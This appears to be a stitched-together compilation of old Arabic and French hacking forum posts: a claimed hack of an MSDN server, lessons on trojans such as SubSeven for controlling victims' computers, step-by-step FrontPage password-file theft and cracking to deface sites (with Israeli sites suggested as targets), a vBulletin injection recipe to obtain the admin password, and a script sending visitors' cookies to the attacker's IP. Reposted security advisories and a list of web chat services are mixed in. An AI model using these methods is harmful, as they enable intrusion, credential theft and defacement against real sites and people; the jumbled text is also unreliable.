إختراق سيرفر مسدن MSDN

تم ولحمد لله إختراق سيرفر مسدن لمايكروسوفت يمكنك الان تحميل جميع البرامج التطبيقية اصلية ومجانا و حصريا ارجو ردود للمزيد من
http://msdn63.e-academy.com/elms/Sto...=msdnaa_xh4969 الابداع

الدرس السادس

القنبلة الثانية :

ظهر برنامج هكرز يمكنك من دخول اي جهاز اخر وبدون ارسال ملف سيرفر

ولكن يتم ربطه في الايميل او رقم الاي بي او الايسكيو للضحية وهو الجيل الجديد من الهكرز حيث يغنيك من ملف السيرفر



الدرس السابع



كيفية الغاء ملف من نوعية الباتش حيث انك لم تستطيع الغاؤه من الويندوز

هناك اخي العزيز ملفات تكون محمية من الالغاء حيث ان بعض برامج الحماية تجدها

ولكن لا تستطيع الغاؤها وبذلك بعض الاشخاص لايسعهم الا ان يعملوا فورمات للجهاز

هناك طريقة يجب عملها قبل اي شي واذا لم تنفع فالله يعينك علي الفورمات

1- نغلق الجهاز ونضع الديسك الاول من الدوس في مكان الفلوبي

A

2- ونشغل الجهاز وبذلك نكون عملنا boot

3-عند ظهور الشاشه السوداء

4- علينا كتابة الامر هذا

attrib -s -a -r -h cwindows

حيث يوجد مسافه بين s a r h

وويندوز هي عبارة عن اسم الفولدر الذي به الويندوز علي جهازك حيث كل شخص قد

يكون له اسم مختلف عن الاخر

4- بعد ذلك نغلق الجهاز ونشغله مره اخري ولكن هذه المره بدون الديسك الاول للدوس

- ونذهب الي ملف الهكرز الذي لم نكن نستطيع الغاؤه ونلغيه واذا لم تنجح الطريقه

الدرس الخامس

ولكن ظهرت هناك قنبلتان الاولي هي :

subseven 20

حيث انه يتميز باخفاء السيرفر ويمكنك ربطه بلمف اخر ويمكنك تغيير امتداده

ولايمكن لاي برنامج حمايه اظهاره الا برنامج واحد جديد ويمكنك بعد ارساله الي الطرف الضحية

سوف ينشطر الي ملف اخر مخفي ولا يمكن الغاؤة الا بعمل فورمات للجهاز ويمكنك توصيله الي

الايسكيو وبرقمك حيث كل شخص يحمل ملف السيرفر يعطيك تنبيه بان الضحية دخل الانترنت

ويتميز بقوة ووظائف خطير لا استطيع شرحها بالكامل واكتفي بذلك وفعلا هو قنبلة



في الوقت الحالي

الدرس الرابع

واصبح لكل برنامج هكرز باسوورد حيث انك اذا ارسلت ملف السيرفر اصبح بامكانك وضع

باسوورد حيث لايستطيع احد الدخول الي هذا الجهاز الا انت

ولكن ايضا وجدت هناك برامج تفك هذا الباسوورد وتمكنك من تغييره الي باسوورد جديد

حيث تصبح ملكيته اليك انت

والله شي مضحك .. اصبحنا نبيع ونشتري بالشخص الضحية وهو لايعلم

الدرس الثالث

كانت المشكله للهكرز هي ان الناس كانوا يتخوفون من الملفات التي امتدادها

.exe

ولكن في الفترة الاخيرة يتم تطوير العديد من البرامج لكي تحول هذا الامتداد من



exe



الي



. dl او . com

ومن هنا ازداد اقبال الناس علي برامج الهكرز لانها تمت عملية اخفاء امتداد الملف

ولكن بعد فترة تم تطوير المضادات واصبحت تكتشف التروجان بمختلف امتداداته

وهنا عادت صعوبة ارسال الملف السيرفر مرة اخري وكما نلاحظ انها حرب بين الهكرز والمضادات

والحمايات الاخري وكل يطور من جهه وعليك متابعة اخر التطورات المستجده لذلك

الدرس الثاني رقم الاي بي للشخص المراد الدخول عليه

عند ارسال الملف السيرفر يجب معرفتك لرقم الاي بي للشخص المراد الدخول عليه ومن ثم

تضع الرقم في البرنامج الذي عندك الذي يحمل اسم البرنامج الاصلي وبعدها يبدا الاتصال ويجب معرفتك لرقم البورت

الذي من خلاله سوف تدخل عليه وهناك العديد من البرامج والعديد من الوظائف وكل برنامج يتميز بميزه عن الاخر

مثلا برنامج النت باص تميز بانه منتشر باغلب الاجهزه ومع الناس ولذلك كل ماعليك هو فتح البرنامج وعمل بحث

للارقام التي تحتوي علي السيرفر التبع له ومن ثم يتم الدخول اليه .ويتميز الباك دور بقوته وسهوله الارسال فيه

حيث الطرف الثني لايحس بدخولك اليه ولكن وجدة العديد من البرامج المضاده له . ولم يتم تطوير الا ببطيء شديد

مقارنه مع تطوير المضادات له .

الدرس الاول برامج الهكرز التي تمكنك من الدخول الي جهاز اخر

الدرس الاول

تتكون برامج الهكرز التي تمكنك من الدخول الي جهاز اخر علي ملفين واحد اسمه *

server.exe



ويعتبر هذا الملف هو الفيروس او التروجان ويقراؤه نورتون علي انه فيروس حاله كحال النيوكات

وهذا الملف هو الذي يرسل الي الجهاز المراد الدخول عليه ويجب ان يفتحه الطرف الاخر لان ارساله فقط لايكفي

والثاني يطلق عليه اسم البرنامج نفسه وهو الذي يمكنك من الدخول الي الاجهزه ويحتوي علي الوظائف العديده *

ماهو الهاكرز وتعلم مبادىء الهكرز

الهاكرز .. هذه الكلمة تخيف كثير من الناس خصوصا مستخدمي الإنترنت .. يريدون الحماية و يريدون من ينقذهم من هذا الكابوس . عالم الهاكرز هو عالم كبير و بداياته كانت قبل الإنترنت بل و قبل الكمبيوتر نفسه . حاولنا أن نجمع التاريخ هنا . تاريخ قراصنة هذا القرن . نتمنى أن تنال على رضاكم



أولا يجب أن نتعرف على الهاكرز … من هو الهاكرز ؟



هو الشخص الذي يستمتع بتعلم لغات البرمجة و أنظمة التشغيل الجديدة

هو الشخص الذي يستمتع بعمل البرامج أكثر من التشغيل هذه البرامج و أيضا يحب أن يتعلم المزيد عن هذه البرامج

هو الشخص الذي يؤمن بوجود أشخاص آخرين يستطيعون القرصنة

هو الشخص الذي يستطيع أن يصمم و يحلل البرامج أو انظمه التشغيل بسرعة

هو شخص خبير بلغة برمجة ما أو نظام تشغيل معين .. علي سبيل المثال قراصنة اليونكس



تعلم الهاكرز

الهكرز : هو الشخص المخرب الذي يدخل علي جهازك او يسرق معلوماتك بشتي انواعها والهكرز لابد له من اسلحه وادوات

لكي يتمكن من عمله بالكامل فليس هناك شخص مجرد اسمه هكرز انما اعماله توصف بالتخريب ويحتاج الي العديد من المعلومات

والبرامج المختلفه والتي هي دائمة التطوير لان هناك برامج مضاده لها وتتميز هذه البرامج بقوتها وخطورتها لانها تحتوي علي

ملفات التروجان وهي ملفات تعتبر في برامج المضادات للفيروسات انها فيروسات خطيره ولذلك انصح بالابتعاد عنها لانها بدون فائدة

ولم اجد الا القليل من اخواني من يجيد عملية الهكرز باحتراف , هناك الكثير من يعرف الهكرز ويملك البرامج العديده ايضا ولكن

القليل من يجيدها لانها تحتاج الي الذكاء مع الحنكه , والا سوف ينقلب عليك وانت لاتعلم وبذلك تكون قد فتحت بورتات الجهاز ويصبح



الاخرين دخولهم اليك سهلا وانت غافل .

pirater hotmail facillemnet 100%

voire http://cyberhacking.tk aller a msn hacking et suiver les instruction dsl le site et en englais si ta des blems en englais alors tempis pour toi :D

Parfois on cherche la reponse et on ne sait pas qu'elle est au fond de nous meme

enter cest 2 dns dans votre accees a distance et ne ponse jam aux virus et malawares
66.11.234.90
66.11.234.91

by mr electroman

vos adresse web sur pc et gsm pour la messagerie instantané IM

bey mr electroman

Meebo & Meebo Rooms

Meebo est un service web based très populaire et depuis sa dernière version (Meebo Rooms) le succès va encore grandir. Totalement en ligne, offrant la fonction vidéos et beaucoup d’options. Le plus important est la robustesse du service qui ne connait pas vraiment de ralentissements.

http://www.meebo.com

Pibb


En comparaison avec la plupart des autres est une version light. Le service permet de créer des chatrooms, d’avoir une liste d’amis et de sauvegarder le contenu des discussions. Il a aussi la particularité d’être compatible avec OpenID.

http://pibb.com/

Tangler

Tangler est un forum en ligne actuellement en beta. L’originalité c’est qu’il permet des conversations en temps réel comparable aux services de chat en ligne. L’impression d’utiliser un forum peut permettre de conquérir un autre public. A noter qu’il propose des fonctions d’édition plus poussées que ses concurrents.

https://www.tangler.com/

Lingr


Nous ne savons pas quel avenir peut avoir ce service, mais il offre l’avantage de la simplicité. Il suffit de choisir un tag dans un nuage, d’entrer dans le chat et de commencer à discuter. Sachez néanmoins que la majorité des conversations sont en japonais.

http://www.lingr.com

Kool IM

koolim

Identique à Meebo, KooLIM aggrège les messageries en une seule page. Il est compatible avec AIM, MSN Messenger, Yahoo! Messenger, ICQ et Jabber.
Comme pour Meebo, il est possible d’ouvrir le chat dans un pop up et comme Meebo la pub a également fait son apparition.

http://www.koolim.com/

Campfire

Orienté vers les professionnels Campfire est un chat classique. Ses qualités reposent sur son intégration à Basecamp, l’archivages des conversations, la facilité d’échange de fichier et d’images.

http://campfirenow.com/

Yahoo! Messenger for the web


Yahoo a constasté le succès des chats en ligne, ils ont donc récemment rendu disponible la version web based de leur client IM. Il fonctionne sur tous les navigateurs, possède un historique complet et propose une longue liste d’émoticons.

http://webmessenger.yahoo.com/

MessengerFX

Comme Yahoo!, Windows Live Messenger dispose d’une version en ligne, celle ci n’est pas une version officielle et les auteurs ne sont pas affiliés à Microsoft. Rapide et efficace.

http://www10.messengerfx.com/

Iminent

On vous en a déja pas mal parlé, IMinent n’est pas vraiment un système de chat puisqu’il s’agit d’un module complémentaire à Windows live messenger et Yahoo!messenger. Il permet aux utilisateurs de s’envoyer en temps réels des Emovids, de courtes séquences vidéos représentant son état d’esprit.
Le service est sorti de beta privée il y a peu et est une initiative française.

http://www.iminent.com/

eBuddy

eBuddy permet d’utiliser AIM, Windows live messenger et Yahoo messenger via une interface en AJAX. Il ne supporte pas Jabber (gtalk) et est parfois lent.

http://www.ebuddy.com/

3bubbles


A la difference des autres services présentés ici (mis à part Meebo), 3bubbles se destine à être utiliser sur le blog via un widget. Ce n’est donc pas un vrai concurrent aux autres services.

http://www.3bubbles.com/

Tworl


Tword propose une manière vraiment originale d’aborder le chat et la messagerie instantanée, tandis que la signature de beaucoup de services correspond à quelque chose du style: “connectez vous à vos amis”, Tworl vous propose exactement l’inverse en vous mettant en contact aléatoirement avec une nouvelle liste d’utilisateurs. L’idée est plutôt sympa mais en aucun cas cela ne peut remplacer une vrai messagerie avec une “vrai” liste de contacts. L’usage est plutôt destiné au “fun”.

http://www.tworl.com/

Mabber

Mabber a l’avantage de fonctionner sur le web et aussi sur mobile. Il supporte AIM, ICQ, MSN, Yahoo Messenger et Gtalk. Une récente version propose le widget de chat que vous pourrez intégrer à votre blog. Vous pourrez également l’utiliser pour recevoir vos news en RSS (Mabber alert)

http://www.mabber.com/

Geesee

Geese est un concurrent direct de 3bubbles et Itzle: il n’offre pas d’espace de chat centralisé mais vous permet de créer un wigdet pour votre blog. L’outil fonctionne avec une multitude de plateforme comme Typepad, Wordpress et même netvibes.

http://www.geesee.com/

Plugoo

Plugoo est un peu un mix de tout. Il fonctionne avec AIM, MSN, Yahoo, Gtal, ICQ et JAbber et vous permet également de créer un tchat pour les visisteurs de votre blog directement depuis n’importe quel client IM. Si vous voulez maintenir une discussion avec un visiteur de votre site/blog cet outil est vraiment plus intéressant qu’un simple chat box intégré qui indique toujours que vous êtes “offline”

http://www.plugoo.com

RadiusIM

Cette startup basé à Manhattan offre un service de IM qui combine un chat en ligne avec Google Maps, vous permettant ainsi de chatter avec des personnes de votre localité. vous pourrez agrégrer plusieurs pseudos IM de différentes plateformes. Les logins sont sauvegardés par Radius IM qui vous permet ainsi de ne pas avoir à retaper tous vos passwords/logins. (ils viennent de lever 500.000$ auprès de fonds d’investussement la semaine dernière)

http://www.radiusim.com

Itzle

Légèrement différent des autres services IM: Itzle vous permet de chater avec d’autres utilisateurs sur des pages webs par l’intermédiaire d’un avatar. pas de download nécessaire mais juste un “bookmarklet” sur lequel il faut cliquer pour faire apparaitre votre avatar. On trouve le service innovant mais on doute encore de son utilité.

http://www.itzle.com

Gabbly

Gabbly est un chat box en ajax pour blogs et sites web. Il vous permet d’avoir un chat sur votre propre domaine (avec une extension) en y incluant un iFrame.

http://www.gabbly.com

ZohoChat

Un des outils de la suite office Zoho, Zoho chats vous permet de chater avec d’autres utilisateurs sur votre site/blog. La fonction embed utilise un iFrame (qui ne marche donc pas sur toutes les plateformes/sites), il manque également la fonctionnalité d’aggrégation des différents pseudos des différents services de messagerie. Ceci étant dit c’est un moyen super sumple pour mettre en place un chat surtout si vous utilisez couramment la suite Zoho.

http://www.zohochat.com

ثغرة في نظام frontpage extension

mr electroman









COMMAND



FrontPage Server Extensions



SYSTEMS AFFECTED



FrontPage Server Extensions; IIS 4, 5



PROBLEM



There has been several issues with Front Page Server Extensions.

One of them was reported by Internet Security Systems Security

Alert. ISS X-Force is aware of a serious vulnerability that may

allow remote attackers to launch Denial of Service (DoS) attacks

against, or compromise Microsoft Internet Information Server

(IIS) installations. This vulnerability exists in the Visual

Studio Remote Application Deployment (RAD) component of FrontPage

Server Extensions.



Microsoft FrontPage is a Web site design and management

application. The FrontPage Server Extensions (FPSE) package is

included in IIS versions 4.0 and 5.0 to help integrate FrontPage

with IIS. IIS servers may be vulnerable if the Visual Studio RAD

component of FPSE is installed. This component allows Web site

designers who use Microsoft InterDev to actively register and

unregister COM components on the IIS server.



The Visual Studio RAD component includes a vulnerable Dynamic Link

Library (DLL), fp30reg.dll. This DLL does not properly parse long

arguments. Attackers may supply the DLL with an overly long

request and may be able to run arbitrary code or bring down the

server. Any commands executed on the server are executed under

the IUSR_machinename security context, and in certain

circumstances under the System context.



Following was by NSFOCUS Security Advisory SA2001-03. NSFOCUS

security team has found also a buffer overflow vulnerability in

Microsoft FrontPage 2000 Server Extension, which can be exploited

to execute arbitrary code by a remote attacker. Microsoft

FrontPage 2000 Server Extension has a Dynamic Link Library (.DLL)

File: "fp30reg.dll" that exists a buffer overflow vulnerability.

When fp30reg.dll receives a URL request that is longer than 258

bytes, a stack buffer overflow will occur. Exploiting this

vulnerability successfully, an attacker can remotely execute

arbitrary code on the server running MS FPSE 2000.



In case that fp30reg.dll receives an invalid parameter(method),

it will return an error message:



"The server is unable to perform the method [parameter provided by the user] at this time"



This error message will be saved in a fixed length stack buffer.

fp30reg.dll calls USER32.wsprintfA() to form return message.

Because there is no checkup for the length of data supplied by

the user, the destination buffer can be overwritten. An attacker

can rewrite some important memory address like exception structure

or saved EIP to change program flow.



Format string used by USER32.wsprintfA() is:



HTTP Error 501

NOT IMPLEMENTED

The server is unable to perform the method %s at this time.



It is also saved in stack and its address is at (target buffer

address + 256 bytes), so the format string will be rewritten when

the overflow occurs. The attacker should manage to finish

copying. If an attacker overwrite the buffer with random data,

IIS service will fail. In this case, IIS 5.0 can be automatically

self-restarted, but IIS 4.0 needs to be restarted manually.



Exploiting this vulnerability successfully, an attacker can obtain

the privilege of IWAM_machinename account in IIS 5.0 or Local

SYSTEM account in IIS 4.0 by default.



There is a copy of fp30reg.dll in another directory:



Program FilesCommon FilesMicrosoft SharedWeb Server Extensions bin



whose name is fp4areg.dll.



Exploiting some other vulnerabilities like unicode bug, an

attacker will be able to access this file.



Overflow won't occur in case that the provided parameter has only

258 bytes:



$ curl http://TARGET/_vti_bin/_vti_aut/fp30reg.dll?`perl -e 'print "A"x258'`



HTTP Error 501

NOT IMPLEMENTED

The server is unable to perform the method AAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAA at this time.



In case that it is longer than 258 bytes, an buffer overflow will

occur:



$ curl http://TARGET/_vti_bin/_vti_aut/fp30reg.dll?`perl -e 'print "A"x259'`



ErrorThe remote procedure call

failed.



There is a proof of concept code for this issue:



http://www.nsfocus.com/proof/fpse2000ex.c



SOLUTION



ISS X-Force recommends that all Web site administrators review the

appropriate IIS Security Checklist from Microsoft, and verify

that their IIS Web servers have been configured securely. These

documents outline how to correctly configure an externally facing

IIS Web server. IIS servers that have been configured securely,

using the Checklists, are not vulnerable to many of the recent

and widely publicized remote IIS exploits.



The IIS Security Checklists are available here:



http://www.microsoft.com/technet/security/iischk.asp

http://www.microsoft.com/technet/security/iis5chk.asp



Patch for Microsoft Windows NT version 4.0:



http://www.microsoft.com/Downloads/Release.asp?ReleaseID=31038



For Microsoft Windows 2000 Professional, Server and Advanced

Server:



http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30727



For more information on this vulnerability, please refer to the

Microsoft Security Bulletin at:



http://www.microsoft.com/technet/security/bulletin/MS01-035.asp



Basically, installing MS01-035 causes the IIS MMC to close when

you click on the server extensions tab under Windows 2000

Advanced Server on SP2 (with all current hotfixes). Uninstalling

MS01-035 fixes the problem, but opens up the security hole. When

the new patch is available, MS will re-release their bulletin.

ثغرة Front Page

الكاتب : ^SpY^



الاختراق عن طريق ثغرة Front page



________________________________________



أولا :

.......قبل قرائتك للموضوع يجب أن يكون لديك فكرة ولو بسيطة عن :

1- Front page Server Extensions

2- ثغرات الفرونت بيدج و ليس كيفية استعمالها

3- الموضوع للمبتدئين فاذا لم تكن مبتدأ ... فأنصحك بعدم تضييع وقتك معه



نخش في الموضوع:

طبعا ثغرات الفرونت بيدج تكون موجودة في الأنظمة التي يدعم سيرفراتها الFront page , وهذه الثغرات تمكن المخترق من الوصول لملف

الuser name و الpassword الخاص بالAdmin بتاع الموقع .

ولعلك تتسائل ما هذه الملفات ؟ ... حسننا تكون الملفات على هذا النحو والتي تحتوي علىuser name و password الخاص بالAdmin :

Administrator.pwd

Author.pwd

Service.pwd وغالبا تكون الكلمة السرية في هذا المجلد , والذي هو متفرع من _Vti_pvt .



.....طبعا كلكم عارفين الحجات دي .. بس ممكن بعضكم ما قدرش يخترق بيها عشان مافهمش كويس من دروس غير .......المهم أنا هاشرحلكم درس عملي من A to Z للاختراق عن طريق الثغرة دي .

كنا قلنا ان الثغرة غالبا بتكون هنا www.site.com/_vti_pvt/_service.pwd , طب ممكن واحد يقول طب أنا جربت اكتب كدة مع مواقع كتيرة و بيطلعلي error أو Forbidien .....المهم ممكن الAdmin يكون عامل security شوية على الملف ده ..... طيب عشان تجرب وتنفذ هتتبع التالي:

ادخل على الموقع دة

www.altavista.com

وبعدين اكتب في الSearch الكلام دة Link:_Service.pwd أو اكتب Link:_vti_pvt/_service.pwd

المهم هيطلعلك نتايج بالهبل و معظمها تعاني من الثغرة دي , مثال http://www.soi-rp.com/_vti_pvt/ ادخل هنا , هيظهرلك صفحة وفيها الحجات دي :







Parent Directory

-





-











.......... المهم خش على Service.pwd هتلاقي حاجة زي كدة : # -FrontPage- orechron:zjcZSlimQERyw

orechron ده الuser name

zjcZSlimQERyw ودي الpassword بس ماتجربهاش عشان دي مشفرة ....طيب عشان تفكها هتحتاج لjohn the ripper ممكن تحملها من هنا openwall.com المهم لما تحمل الأداة هتلاقي مجلدين run و doc والمهم هوه run بالنسبة لطيرقة العمل هاتكون كالتالي .... هاتلاقي ملف عندك في الجهاز اسمو command موجود في System32 انسخه وضعه في المجلد run .... وبعدين تحطorechron:zjcZSlimQERyw في ملف txt وليكن باسم password .....طيب افتح command واكتب الامرده <john -i:all password.txt

وبعد مايخلص البرنامج هتلاقي الpassword الحقيقية هنا john.pot

كدة خلاص ... وصلنا للختام وهوه انك تصمم صفحة بالفرونت بيدج وتكتب فيها Hacked by ^SpY^

وتعمل pubish web هايطلب username و password هاتكتبهم و..... و مبروك عليك الاختراق .



و عموما أنصحكم بالبحث هنا عشان دي مواقع يهوديه تبحث بطريقة الSpiders يعني Random Hacking :

achla.co.il

maven.co.il

iguide.co.il

____________________________

طرق معرفة واختراق المواقع التي تدعم FrontPage

كثر منا يعلم ان هذه الثغرة خاصة بنظام// NT - Unix



1-وسف أقوم الآن بشرح طريقة لمعرفة هل هذه المواقع تدعم frontpage أم لا؟



بعدة طرق ولن أذكر إلا الأسهل:



- بالذهاب إلى موقع netcraft

http://www.netcraft.com/

وكتابة اسم الموقع وبعد البحث سوف يظهر

mod_frontpage/x

x=(رقم الإصدار الخاص بالفرونت بيج)

- عن طريق إضافة جملة

vti_inf.html_/

بعد عنوان الموقع لنفرض أن الموقع:http://www.almodammer.com/

نضيف الجملة ليصبح بهذه الطريقة

http://www.almodammer.com/_vti_inf.html

وبعدها اضغط Enter

وراح يطلعلك في أول الصفحة هذه الكلمة

Frontpage Configuration Information

أي قد تم تثبيت مجلدات وبرامج الفرونت بيج

- وأيضا تستطيع معرفة الموقع يدعم الفرونت بيج أم لا

بإضافة

vti_cnf_/

بعد عنوان الموقع كهذا المثال:

http://www.almodammer.com/_vti_cnf

واضغط زر الفأرة الأيمن واختار

source المصدر

وابحث عن

vti_generator:Programe

حيث

Programe تعني لنوع برنامج الفرونت بيج والإصدارات الخاصة به



--------------------------------------------------



2-ألحين وعرفنا الموقع يدعم frontpage كيف نقدر نوصل لملف الباسوورد؟

بسيطة إنت هات الموقع الي يبدعم frontpage واعلمك

يعني وعلى سبيل المثال

http://www.almodammer.com/

يدعم fontpage طيب نذهب إلى ملف vti_pvt_

كذا يعني

http://www.almodammer.com/_vti_pvt

وأول ماندخله نلاحظ وجود ملفات عديدة وأهم الملفات التي تأتي باسم:

=============

Adminstrator.pwd

Adminstrators.pwd

Service.pwd

Users.pwd

User.pwd

Author.pwd

=============

ألحين لنفرض إننا فتحنا أحد هذه الملفات ماذا نلاحظ نلاحظ وجود

username : passwd

اسم المستخدم والباسوورد

يعني انا اخترقت موقع بالفرونت بيج ولما جيت ابي اشوف الملفات طلعلي ملف service يحتوي على user / password

وهذا مضمون الملف

operator:hi9LHn9wAMuKM

حيث اسم المستخدم : operator

الباسوورد المشفرة هي:hi9LHn9wAMuKM



ألحين وعرفنا يااخواني كيف نطلع الباسوورد المشفر ماباقي إلا نفك تشفيره

وهذا يتم ببرامج كثير

=(Crack Jack)=

=(John The Ripper)=



راح نستخدم الأفضل والأكثر تداولا وهو

John The Ripper

لتحميل البرنامج من هذا الموقع::

http://www.openwall.com/john



كيف تفك التشفير بهذا البرنامج



أول شي تروح تنقل البرنامج إلى مجلد

:c

بعدين تفتح مجلد RUN

وتسويلك مستند نصي txt وتسمي الملف passwd وتضع فيه كلمة السر الي تبي تفك تشفيرها

إذهب إلى

ابدأ start

تشغيل run

اكتب الأمر

command

اضغط على Enter وبعدها راح يفتح

إطار الـDoS

اذهب إلى مجلد RUN

وذلك بالخروج من المجلدات الي راح تظهر لك واذا تبي تطلع من أي مجلد استخدم الأمر

..cd

حتى توصل

<:c

بعدين اكتب

cd john

اضغط على Enter

وراح يظهر لك بهذا الشكل

<c:john

واكتب

cd RUN

وبتدخل المجلد ليصبح بهذه الطريقة

<c:/john/RUN

ألحين نكتب أوامر برنامج John The Ripper

وهي

====

john -i:all passd.txt

--------------------------

يبحث لك عن جميع الأنواع والاحتمالات



====

john -i:Alpha passwd.txt

----------------------------------

يبحث عن الأحرف الصغيرة



====

john -i: Digits passwd.txt

----------------------------------

يبحث عن الأرقام



====

john -i:single passwd.txt

---------------------------------

أمر يبحث لك عن الباسووردات التي تطابق اسم المستخدم



--------------------------------------------------------------------------------

وبعد ماتجرب كل هذي الأوامر وإذا تبي تشوف هل إنت فكيت وكسرت الباسوورد ولا لأ إذهب إلى

john.pot

الموجود داخل البرنامج وراح يعرض لك الباسوورد وبعد فك تشفيرها

--------------------------------------------------------------------------------



إنت ألحين مستريح عندك username والـpassword

وش بقالك ؟!!

يقالك تلعب بالموقع لعب ألحين دخوله بعدة طرق وأحسنها من/





frontpage

بعدين

file وتذهب إلى

open web وتضيف

الاسم والباسوورد وعاد كذا انت الحين تقدر تعدل الملفات على كيفك



من FTP

وعليك ببرامج الـFTP المنتشرة

كالـws-ftp

والـpro ftp

والمزيد ...

ويمكنك عمل الطريقة من DOS ولكن البرامج أسهل لك وأضمن لك



======================================



وألحين أكيد تبون تجربون على موقع أقولكم روحوا google

http://www.google.com/

واكتبوا في إطار البحث

vti_pvt_/

وراح تطلعلك مواقع كثيرة تحتوي على هذه الثغرة



وعندك محرك بحث

http://www.altavista.com/

تكتب في محرك البحث

link:service.pwd

أو..

link:adminstrators

وغيرها من الملفات الاحتمال وجود password فيها

DETECTER VOTRE ADRESSE IP

bey mr electroman
ouvrer bloc note puis copier coller ce code la et enregister en format .html exepmle index.htm

معلومات عامة عن Msn Proxy Server

ثغرة في Hyper Terminal في نظم Msn

Electroman please your attention

COMMAND

HyperTerminal

SYSTEMS AFFECTED

Win2000 (all versions), Me, 98 and 98SE

PROBLEM

The USSR Team has found a buffer overflow in the HyperTerminal
telnet client, which is in the code that processes the Telnet
URL's, that can enable an attacker to execute arbitrary code on
another user's system. If a user opens an mail containing HTML
and also contains a malformed Telnet URL a buffer overrun will
enable the creator of the mail to cause arbitrary code to be
runned on the user's system.

Example:

telnet://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaa/

The other resides in a section of the code that processes session
files - files that enable HyperTerminal users to specify session
parameters such as the connection method and the destination
host. If a user opened a session file that contained a particular
type of malformed information, it would trigger the buffer
overrun.

SOLUTION

Microsoft has re-released original bulletin in May 2001 to inform
customers of the availability of an updated set of patches to
address both the original and a second vulnerability identified
in HyperTerminal. Information about the second issue is discussed
in the PROBLEM section above.

A patch is available to fix this vulnerability. Please read the
Security Bulletin:

http://www.microsoft.com/technet/security/bulletin/ms00-079.asp

for information on obtaining this patch.

ثغره تخترق نصف المواقع ونصف منتديات النت

هذا الملخّص غير متوفِّر. يُرجى النقر هنا لعرض المشاركة.

طريقة اختراق المنتديات

طريقة اختراق المنتديات


الكاتب : لا اعرف عنه اى شئ


اختراق المنتديات بس بمنتديات vb

. قم بالتسجيل كعضو مع مراعاة التسجيل ببريد حقيقي

2. تدخل المنتدى كعضو بأسم المستخدم وكلمة السر الخاصة بك

3. أضغط على زر ( الأعضاء ) الموجود بالأعلي أو members .

أو العنوان التفصيلي التالي :
http://URL/memberlist.php

URL = العنوان المستضيف للمنتدى

مثل = - .com

4. أضغط على أي مستخدم من المستخدمين عشوائيا وستلاحظ ظهور عنوان طويل بالأعلي في مستطيل العناوين address bar .

سيظهر لك عنوان يحمل أرقاما وأحرفا عشوائية كالشكل التالي :

http://URL/member.php?soitgoe68e45u...info&userid=266

هذا العنوان الطويل يعني = عرض بيانات المستخدم رقم 266

5. بكل بساطة غير الرقم من 266 الى الرقم واحد هكذا

http://URL/member.php?soitgoe68e45u...etinfo&userid=1

العضو رقم واحد عادة وأفتراضيا يكون هو المدير للمنتدى administrator .

(((== ها أنت تجتاز الخطوة الأولى بنجاح وتعرف من هو المدير للموقع == ))

أحفظ أسم المدير حيث أنك ستحتاجه بالخطوة التالية

6. أكتب العنوان التالي مع تغيير المتغييرات التي ساذكرها :

http://URL/member.php?action=login&...VALI...39;').'

العنوان هذا ستقوم بتغيير الكلمات التالية

URL = كما ذكرنا سابقا الموقع المستضيف للمنتدى
VALIDUSER = أسم المستخدم الخاص بك
VALIDPASS = كلمة السر الخاصة بك
YOUR@EMAIL.HERE = البريد الذي سجلت به بالمنتدى
ADMIN = أسم مدير المنتدى ( الذي أكتفشته بالخطوة السابقة )

7. بعد أن تغيير جميع ما سبق وتتأكد منه تقوم بعمل أنعاش للمنتدى عدة مرات refresh .

8. ثم ترجع لصفحة المنتدى الرئيسية
http://url/index.php

ثم حاول الدخول بأستخدام أسم المستخدم الخاص بك وأستعمال كلمة سر خاطئة ( يجب أن تكون خاطئة ) .

بالطيع ستظهر لك الصفحة التعيسة التي تقول :



you typed in the wrong password


9. بكل بساطة أضغط على

نسيت كلمة السر
forgot password

والتي ستقوم بأرسال كلمة السر الى بريدك الألكتروني

10. أفتح بريدك وستجد كلمة السر الخاصة بمدير المنتدى

اختراق منتديات الـــ vBulletin

بسم الله الرحمن الرحيم

يتمنى الجميع معرفة الطريقة المستخدمة في إختراق المنتديات وخصوصا vBulletin ..
الطريقة كانت حكرا على عدد قليل جدا من الهاكرز العرب ..
وانا الان اضع امامكم الطريقة من A - Z .. لكن بشرط واحد .. (أقرأ السطور التالية)
" أقسم بالله العظيم أني لن استخدمها ضد إخواني المسلمين مهما كانت الأسباب والدوافع والله على ما أقول شهيد "
فقط هذا ما أريده بالمقابل .. واعتقد انه طلب سهل يستطيع الجميع تنفيذه ...

---------
مقدمة :
---------

الموضوع : اختراق الـ vBulletin
المتطلبات : WebServer (تركيب سيرفر على جهازك الشخصي) + متصفح انترنت (اكسبلورر) .
المستوى : متوسط

ملاحظة : هذه الطريقة لسيت للـ vBulletin فقط !! يمكن ان تجربها على انواع اخرى من المنتديات .


----------
الثغرة :
---------

تنقسم طريقة العمل الى عدة اقسام .. أولا بعض السكربتات الخبيثة التي تسرق الكوكيز بالاضافة الى جعل المنتدى يستقبل
بيانات من مكان خاطيء .. لكن يشترط ان يسمح المنتدى بأكواد الـ HTML ..

قم بكتابة موضوع جديد او رد (في منتدى يدعم الـ HTML ) .. ثم اكتب اي موضوع والصق بين السطور هذا الكود :
document.write('<img
src="http://my_ip_address/'+document.cookie+'">';

مع ملاحظة تغير الـ IP Adress الى رقم الـ IP الخاص بك .

وعندما يقوم شخص ما بقراءة محتوى الصفحة فان السكربت الذي قمنا بوضعه سيقوم بتنفيذ الاوامر في جهاز وقراءة جزء
من احد ملفات الكوكيز التي تحتوي على الباسورد الخاصة بالمنتدى .. ثم يقوم السكربت بتحويل هذه السطور الى رقم
